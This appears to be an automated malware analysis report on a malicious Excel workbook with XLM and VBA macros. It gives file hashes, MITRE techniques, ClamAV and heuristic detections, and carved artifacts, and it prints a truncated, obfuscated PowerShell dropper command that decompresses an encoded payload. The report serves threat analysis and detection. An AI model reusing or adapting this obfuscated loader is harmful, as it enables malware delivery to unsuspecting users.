Office (OLE) malware analysis — malicious · 22db4af4eb789a76

MALICIOUS

Office (OLE)

41.0 KB Created: 2020-04-15 07:21:24 Authoring application: Microsoft Excel

MD5: 876dcba1792dd7f9cd44a06283b3ab6b SHA-1: f41a02b9d7d1ebba2193f94285c7deff275d699f SHA-256: 22db4af4eb789a76d62a72d10fd882da37f9c32bebb59098a9d0b9f25ba1e858

200 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1566.002 Spearphishing Attachment

The file contains Excel 4.0 macros and VBA macros, with heuristics indicating PowerShell execution and a dropper agent. The XLM macro attempts to execute a PowerShell command that appears to be downloading and executing a second-stage payload. The reconstructed PowerShell command is 'powershell -arg 'sal uu New-Object; &{(} {(}{[}stRING{]}$VErBoSePRefErENce{)}{[}1,3{]}{+}''X''-JoIN''''{)} {(} uu io.compRESSiON.defLaTEstrEaM{(}{[}system.Io.meMoRysTrEaM{]} {[}conVerT{]}::FROMbASE64StriNG{(} ''ZVULU9pKFP4rOxmum60QSXhpGWYualooPlrB1tb'. This indicates a macro-based downloader attempting to fetch and execute further malicious content.

Heuristics 6

ClamAV: Xls.Dropper.Agent-7672539-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.Agent-7672539-0
Reference to PowerShell high SC_STR_POWERSHELL

Reference to PowerShell
LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND

Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `4129cea6d152e2dffb219e73a9d40433d5b28e7add8ebde7a5f0bede0641c336`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	3972 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 2 shell/COM execution token(s). Carved artifact contains 4 long base64-like blob(s).
`macros.bas` `3aa6eefcc3f3d46f4c083dd1d57301477c181079406b212775366c573487786f`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	908 bytes

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